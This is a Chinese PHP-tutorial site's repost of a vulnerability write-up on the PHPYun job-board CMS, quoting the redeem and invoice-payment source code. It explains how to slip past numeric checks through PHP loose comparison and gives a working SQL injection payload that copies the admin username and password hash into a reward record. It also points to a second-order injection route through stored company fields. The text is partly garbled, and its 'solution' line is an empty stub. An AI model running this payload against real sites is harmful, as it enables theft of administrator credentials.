来源:未知 时间:2015-04-15 13:41 作者:xxadmin 阅读:次
[导读] 第一处 新发现的在兑换奖品的时候 在model/redeem.class.php中 function dh_action(){$this-public_action();if(!$this-uid !$this-username) { $this-obj-ACT_layer_msg(您还没有登录,请先登录!,8,$_SERVER[HTTP_REFERER]);}...
第一处 新发现的在兑换奖品的时候 在model/redeem.class.php中 function dh_action(){ $this->public_action(); if(!$this->uid && !$this->username) { $this->obj->ACT_layer_msg("您还没有登录,请先登录!",8,$_SERVER['HTTP_REFERER']); } if($_POST['submit']){ if(!$_POST['password']){ $this->obj->ACT_layer_msg("密码不能为空!",8,$_SERVER['HTTP_REFERER']); } if(!$_POST['linkman'] || !$_POST['linktel'] ){ $this->obj->ACT_layer_msg("联系人或联系电话不能为空!",8,$_SERVER['HTTP_REFERER']); } $info=$this->obj->DB_select_once("member","`uid`='".$this->uid."'","`password`,`salt`"); $passwrod=md5(md5($_POST['password']).$info['salt']); if($info['password']!=$passwrod){ $this->obj->ACT_layer_msg("密码不正确!",8,$_SERVER['HTTP_REFERER']); } if(!$this->uid && !$this->username){ $this->obj->ACT_layer_msg("您还没有登录,请先登录!",8,$_SERVER['HTTP_REFERER']); }else{ if($_POST['num']<1){ $this->obj->ACT_layer_msg("请填写正确的数量!",8,$_SERVER['HTTP_REFERER']); }else{ if($_COOKIE['usertype']=="1"){ $table="member_statis"; }elseif($_COOKIE['usertype']=="2"){ $table="company_statis"; }elseif($_COOKIE['usertype']=="3"){ $table="lt_statis"; }elseif($_COOKIE['usertype']=="4"){ $table="px_train_statis"; } $info=$this->obj->DB_select_once($table,"`uid`='".$this->uid."'","integral"); $gift=$this->obj->DB_select_once("reward","`id`='".(int)$_GET['id']."'"); if($_POST['num']>$gift['stock']){ $this->obj->ACT_layer_msg("已超出库存数量!",8,$_SERVER['HTTP_REFERER']); }else{ if($gift['restriction']!="0"&&$_POST['num']>$gift['restriction']){ $this->obj->ACT_layer_msg("已超出限购数量!",8,$_SERVER['HTTP_REFERER']); }else{ $integral=$gift['integral']*$_POST['num']; if($info['integral']<$integral){ $this->obj->ACT_layer_msg("您的积分不足!",8,$_SERVER['HTTP_REFERER']); }else{ $this->obj->company_invtal($this->uid,$integral,false,"积分兑换",true,2,'integral',24); $value.="`uid`='".$this->uid."',"; $value.="`username`='".$this->username."',"; $value.="`usertype`='".$_COOKIE['usertype']."',"; $value.="`name`='".$gift['name']."',"; $value.="`gid`='".$gift['id']."',"; $value.="`linkman`='".$_POST['linkman']."',"; $value.="`linktel`='".$_POST['linktel']."',"; $value.="`body`='".$_POST['body']."',"; $value.="`integral`='".$integral."',"; $value.="`num`='".$_POST['num']."',";//这里被单引号了。 $value.="`ctime`='".time()."'"; $this->obj->DB_insert_once("change",$value); $this->obj->DB_update_all("reward","`stock`=`stock`-".$_POST['num']."","`id`='".(int)$_GET['id']."'");//注意看这里 `stock`-".$_POST['num'] 直接把post来的带入到了查询当中 没有被单引号 再来看DB_update_all $this->obj->ACT_layer_msg("兑换成功,请等待管理员审核!",9,$_SERVER['HTTP_REFERER']); } } } } } } function DB_update_all($tablename, $value, $where = 1){ $SQL = "UPDATE `" . $this->def . $tablename . "` SET $value WHERE $where"; $this->db->query("set sql_mode=''"); $return=$this->db->query($SQL); return $return; } 查询查询 if($_POST['num']<1){ //这里比较是否小于1 php弱语言 像1asdxx 都能过。 $this->obj->ACT_layer_msg("请填写正确的数量!",8,$_SERVER['HTTP_REFERER']); }else{ if($_COOKIE['usertype']=="1"){ $table="member_statis"; }elseif($_COOKIE['usertype']=="2"){ $table="company_statis"; }elseif($_COOKIE['usertype']=="3"){ $table="lt_statis"; }elseif($_COOKIE['usertype']=="4"){ $table="px_train_statis"; } $info=$this->obj->DB_select_once($table,"`uid`='".$this->uid."'","integral"); $gift=$this->obj->DB_select_once("reward","`id`='".(int)$_GET['id']."'"); if($_POST['num']>$gift['stock']){、//这里第二处比较 这里是把商品查询出来 看看他的库存。 然后与传递过来的num比较 所以这里我们num最好就为1 然后这里我先输出胰腺癌。 var_dump($_POST['num']>$gift['stock']);exit; 这里的库存为100. 发现如果我传递的num为1asd之类的时候 竟然true了。。 那么就失败了, 然后再继续测试 当传递的num为1+asd就返回false 意味着成功了。 那么这里我们就添加一个加号。 $this->obj->ACT_layer_msg("已超出库存数量!",8,$_SERVER['HTTP_REFERER']); }else{ if($gift['restriction']!="0"&&$_POST['num']>$gift['restriction']){ $this->obj->ACT_layer_msg("已超出限购数量!",8,$_SERVER['HTTP_REFERER']); }else{
那么我们就能绕过这个判断了。 UPDATE `phpyun_reward` SET `stock`=`stock`-1+1,name=(select concat(username,0x23,password) from php_admin_user) WHERE `id`='1'
require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php"); require_once(dirname(dirname(dirname(__FILE__)))."/data/db.safety.php");//添加了过滤的进来。 require_once(dirname(dirname(dirname(__FILE__)))."/plus/config.php"); require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php"); $db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']); if(!is_numeric($_POST['dingdan'])){die;} $_COOKIE['uid']=(int)$_COOKIE['uid']; $_POST['is_invoice']=(int)$_POST['is_invoice']; $_POST['balance']=(int)$_POST['balance']; $member_sql=$db->query("SELECT * FROM `".$db_config["def"]."member` WHERE `uid`='".$_COOKIE['uid']."' limit 1"); $member=mysql_fetch_array($member_sql); if($member['username'] != $_COOKIE['username'] || $member['usertype'] != $_COOKIE['usertype']||md5($member['username'].$member['password'].$member['salt'])!=$_COOKIE['shell']){ echo '登录信息验证错误,请重新登录!';die; } $sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='".$_POST['dingdan']."' AND `order_price`>=0"); $row=mysql_fetch_array($sql); if(!$row['uid'] || $row['uid']!=$_COOKIE['uid']) { die; } if((int)$_POST['is_invoice']=='1'&&$config["sy_com_invoice"]){ $invoice_title=",`is_invoice`='".$_POST['is_invoice']."'"; if($_POST['linkway']=='1'){ $com_sql=$db->query("select `linkman`,`linktel`,`address` from `".$db_config["def"]."company` where `uid`='".$_COOKIE['uid']."'");//查询余额 $company=mysql_fetch_array($com_sql); $link=",'".$company['linkman']."','".$company['linktel']."','".$company['address']."'"; $up_record=",`link_man`='".$company['linkman']."',`link_moblie`='".$company['linktel']."',`address`='".$company['address']."'"; }else{ $link=",'".$_POST['link_man']."','".$_POST['link_moblie']."','".$_POST['address']."'"; $up_record=",`link_man`='".$_POST['link_man']."',`link_moblie`='".$_POST['link_moblie']."',`address`='".$_POST['address']."'"; } $record_sql=$db->query("select `id` from `".$db_config["def"]."invoice_record` where `order_id`='".$_POST['dingdan']."' and `uid`='".$_COOKIE['uid']."'"); $record=mysql_fetch_array($record_sql); if($record['id']){ $upr_sql=$db->query("update `".$db_config["def"]."invoice_record` set `title`='".trim($_POST['invoice_title'])."',`status`='0',`addtime`='".time()."'".$up_record." where `id`='".$record['id']."'"); mysql_fetch_array($upr_sql);
if($_POST['linkway']=='1'){ $com_sql=$db->query("select `linkman`,`linktel`,`address` from `".$db_config["def"]."company` where `uid`='".$_COOKIE['uid']."'");//查询余额 $company=mysql_fetch_array($com_sql); $link=",'".$company['linkman']."','".$company['linktel']."','".$company['address']."'";//当linkway为1的时候 这里拼接的是出库来的 。。 $up_record=",`link_man`='".$company['linkman']."',`link_moblie`='".$company['linktel']."',`address`='".$company['address']."'"; }else{ $link=",'".$_POST['link_man']."','".$_POST['link_moblie']."','".$_POST['address']."'"; $up_record=",`link_man`='".$_POST['link_man']."',`link_moblie`='".$_POST['link_moblie']."',`address`='".$_POST['address']."'"; } 首先编辑自己的企业信息 把safekey加进去。
解决方案:第一个用pylode。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com